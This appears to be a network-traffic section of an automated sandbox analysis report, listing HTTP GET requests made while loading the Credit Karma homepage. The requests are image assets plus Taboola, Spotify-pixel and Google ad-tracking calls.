Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/benefitPillar/Credit_Monitoring@2x.png?auto=format%2Ccompress&dpr=1 HTTP/1.1Host: ck-content.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/benefitPillar/Security@2x.png?auto=format%2Ccompress&dpr=1 HTTP/1.1Host: ck-content.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/ck_money_steps.png?auto=format%2Ccompress HTTP/1.1Host: ck-content.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/benefitPillar/Insights@2x.png?auto=format%2Ccompress&dpr=1 HTTP/1.1Host: ck-content.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/Relief_Roadmap@2x.png?auto=format%2Ccompress HTTP/1.1Host: ck-content.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/apple_app_store@2x.png?auto=format%2Ccompress HTTP/1.1Host: ck-content.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/google_play_store@2x.png?auto=format%2Ccompress HTTP/1.1Host: ck-content.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/Download_App_Desktop@2x.png?auto=format%2Ccompress HTTP/1.1Host: ck-content.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/Editorial_Desktop@2x.png?auto=format%2Ccompress HTTP/1.1Host: ck-content.imgix.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/ck_money_steps.png?auto=format%2Ccompress HTTP/1.1Host: ck-content.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/benefitPillar/Lock@2x.png?auto=format%2Ccompress&dpr=1 HTTP/1.1Host: ck-content.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/apple_app_store@2x.png?auto=format%2Ccompress HTTP/1.1Host: ck-content.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/benefitPillar/Security@2x.png?auto=format%2Ccompress&dpr=1 HTTP/1.1Host: ck-content.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/benefitPillar/Better_Decision@2x.png?auto=format%2Ccompress&dpr=1 HTTP/1.1Host: ck-content.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/Relief_Roadmap@2x.png?auto=format%2Ccompress HTTP/1.1Host: ck-content.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/google_play_store@2x.png?auto=format%2Ccompress HTTP/1.1Host: ck-content.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/Download_App_Desktop@2x.png?auto=format%2Ccompress HTTP/1.1Host: ck-content.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res/content/bundles/homepage/2.13.0/assets/Editorial_Desktop@2x.png?auto=format%2Ccompress HTTP/1.1Host: ck-content.imgix.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /libtrc/unip/1022710/tfa.js HTTP/1.1Host: cdn.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://tags.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ping.min.js HTTP/1.1Host: pixel.byspotify.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://tags.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ping.min.js HTTP/1.1Host: pixel.byspotify.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /libtrc/unip/1022710/tfa.js HTTP/1.1Host: cdn.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1022710/trc/3/json?tim=1723223580470&data=%7B%22id%22%3A673%2C%22ii%22%3A%22%2F%22%2C%22it%22%3A%22video%22%2C%22sd%22%3Anull%2C%22ui%22%3Anull%2C%22vi%22%3A1723223580462%2C%22cv%22%3A%2220230124-13-RELEASE%22%2C%22uiv%22%3A%22default%22%2C%22u%22%3A%22https%3A%2F%2Ftags.creditkarma.com%2F%3F%22%2C%22e%22%3Anull%2C%22cb%22%3A%22TFASC.trkCallback%22%2C%22qs%22%3A%22%22%2C%22r%22%3A%5B%7B%22li%22%3A%22rbox-tracking%22%2C%22s%22%3A0%2C%22uim%22%3A%22rbox-tracking%3Apub%3Dcreditkarma-creditcards-sc%3Aabp%3D0%22%2C%22uip%22%3A%22rbox-tracking%22%2C%22orig_uip%22%3A%22rbox-tracking%22%7D%5D%2C%22mpv%22%3Atrue%2C%22supv%22%3Atrue%2C%22mpvd%22%3A%7B%22en%22%3A%22page_view%22%2C%22tim%22%3A1723223580467%2C%22ref%22%3Anull%2C%22item-url%22%3A%22https%3A%2F%2Ftags.creditkarma.com%2F%22%2C%22tos%22%3A2%2C%22ssd%22%3A1%2C%22scd%22%3A0%2C%22ler%22%3A%22other%22%2C%22supv%22%3Atrue%7D%7D&pubit=i HTTP/1.1Host: trc.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://tags.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1022710/trc/3/json?tim=1723223580470&data=%7B%22id%22%3A673%2C%22ii%22%3A%22%2F%22%2C%22it%22%3A%22video%22%2C%22sd%22%3Anull%2C%22ui%22%3Anull%2C%22vi%22%3A1723223580462%2C%22cv%22%3A%2220230124-13-RELEASE%22%2C%22uiv%22%3A%22default%22%2C%22u%22%3A%22https%3A%2F%2Ftags.creditkarma.com%2F%3F%22%2C%22e%22%3Anull%2C%22cb%22%3A%22TFASC.trkCallback%22%2C%22qs%22%3A%22%22%2C%22r%22%3A%5B%7B%22li%22%3A%22rbox-tracking%22%2C%22s%22%3A0%2C%22uim%22%3A%22rbox-tracking%3Apub%3Dcreditkarma-creditcards-sc%3Aabp%3D0%22%2C%22uip%22%3A%22rbox-tracking%22%2C%22orig_uip%22%3A%22rbox-tracking%22%7D%5D%2C%22mpv%22%3Atrue%2C%22supv%22%3Atrue%2C%22mpvd%22%3A%7B%22en%22%3A%22page_view%22%2C%22tim%22%3A1723223580467%2C%22ref%22%3Anull%2C%22item-url%22%3A%22https%3A%2F%2Ftags.creditkarma.com%2F%22%2C%22tos%22%3A2%2C%22ssd%22%3A1%2C%22scd%22%3A0%2C%22ler%22%3A%22other%22%2C%22supv%22%3Atrue%7D%7D&pubit=i HTTP/1.1Host: trc.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_gid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e
Source: global traffic	HTTP traffic detected: GET /td/rul/986970455?random=1723223580966&cv=11&fst=1723223580966&fmt=3&bg=ffffff&guid=ON&async=1&gtm=45be4880v898638468z89187007122za201zb9187007122&gcd=13l3l3l3l1&dma=0&tag_exp=0&u_w=1280&u_h=1024&url=https%3A%2F%2Ftags.creditkarma.com%2F&ref=https%3A%2F%2Fwww.creditkarma.com%2F&top=https%3A%2F%2Fwww.creditkarma.com%2F&label=jizLCNKeoboZENfyz9YD&hn=www.googleadservices.com&frm=2&value=0&bttype=purchase&npa=0&pscdl=noapi&auid=1935046400.1723223580&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&ct_cookie_present=0 HTTP/1.1Host: td.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://tags.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/cds-pips.js HTTP/1.1Host: cdn.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://tags.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_gid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e; t_pt_gid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e; receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /scripts/eid.es5.js HTTP/1.1Host: cdn.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://tags.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_gid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e; t_pt_gid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e; receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /v1/ingest HTTP/1.1Host: pixels.spotify.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/viewthroughconversion/986970455/?random=851748034&cv=11&fst=1723223580966&bg=ffffff&guid=ON&async=1&gtm=45be4880v898638468z89187007122za201zb9187007122&gcd=13l3l3l3l1&dma=0&tag_exp=0&u_w=1280&u_h=1024&url=https%3A%2F%2Ftags.creditkarma.com%2F&ref=https%3A%2F%2Fwww.creditkarma.com%2F&top=https%3A%2F%2Fwww.creditkarma.com%2F&label=jizLCNKeoboZENfyz9YD&hn=www.googleadservices.com&frm=2&value=0&npa=0&pscdl=noapi&auid=1935046400.1723223580&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&fmt=3&ct_cookie_present=false&crd=CKG4sQIIscGxAgiwwbECCLnBsQIiAQE4AUABSid0cmlnZ2VyO25hdmlnYXRpb24tc291cmNlLCBldmVudC1zb3VyY2ViBAoCAgM&eitems=ChEI8PzWtQYQ9LGvkJGl2aK5ARIdACif1ZICgEPkFc8jTlU8XtWRpiVrPjMs-dSVwDk&pscrd=CPSrs7fp9MGYNCITCLfErIy06IcDFYrwEQgdz2oPTzICCAMyAggEMgIIBzICCAgyAggJMgIICjICCAIyAggLMgIIFTICCB8yAggTMgIIEjodaHR0cHM6Ly90YWdzLmNyZWRpdGthcm1hLmNvbS8 HTTP/1.1Host: googleads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://tags.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: test_cookie=CheckForPermission
Source: global traffic	HTTP traffic detected: GET /1022710/log/3/unip?en=pre_d_eng_tb&tos=1558&scd=0&ssd=1&est=1723223580465&ver=36&isls=true&src=i&invt=1500&msa=8&rv=1&tim=1723223582023&vi=1723223580462&ri=0c39c3888e94ca7ba0f28e4433ec39c3&sd=v2_5669f483b68baca18e57d9c66a35bd8f_4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e_1723223582_1723223582_CNawjgYQ9rU-GK6-hMGTMiABKAEw4QE4kaQOQNWmD0jZiNcDUPUDWABgAGiQgI6I5eeGxhBwAQ&ui=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e&ref=null&cv=20230124-13-RELEASE&item-url=https%3A%2F%2Ftags.creditkarma.com%2F&ler=other HTTP/1.1Host: trc-events.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://tags.creditkarma.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://tags.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_gid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e; t_pt_gid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e; receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: pips.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://tags.creditkarma.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://tags.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/cds-pips.js HTTP/1.1Host: cdn.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_gid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e; t_pt_gid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e; receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /scripts/eid.es5.js HTTP/1.1Host: cdn.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_gid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e; t_pt_gid=4c9745eb-adc5-422e-9bd8-c45164d0fd15-tuctdafd39e; receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /pagead/1p-conversion/986970455/?random=851748034&cv=11&fst=1723223580966&bg=ffffff&guid=ON&async=1&gtm=45be4880v898638468z89187007122za201zb9187007122&gcd=13l3l3l3l1&dma=0&tag_exp=0&u_w=1280&u_h=1024&url=https%3A%2F%2Ftags.creditkarma.com%2F&ref=https%3A%2F%2Fwww.creditkarma.com%2F&top=https%3A%2F%2Fwww.creditkarma.com%2F&label=jizLCNKeoboZENfyz9YD&hn=www.googleadservices.com&frm=2&value=0&npa=0&pscdl=noapi&auid=1935046400.1723223580&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&fmt=3&ct_cookie_present=false&crd=CKG4sQIIscGxAgiwwbECCLnBsQIiAQE4AUABSid0cmlnZ2VyO25hdmlnYXRpb24tc291cmNlLCBldmVudC1zb3VyY2ViBAoCAgM&pscrd=CPSrs7fp9MGYNCITCLfErIy06IcDFYrwEQgdz2oPTzICCAMyAggEMgIIBzICCAgyAggJMgIICjICCAIyAggLMgIIFTICCB8yAggTMgIIEjodaHR0cHM6Ly90YWdzLmNyZWRpdGthcm1hLmNvbS8&is_vtc=1&cid=CAQSKQDpaXnfv8TqumFN4TQ9CoReWLfMQexr7qobKOMy-IcWilzj4yRer3-7&eitems=ChEI8PzWtQYQ9LGvkJGl2aK5ARIdACif1ZLDzNXSfoz_5zPqoeb4tc158f62TO3KjMw&random=1906475284 HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://tags.creditkarma.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
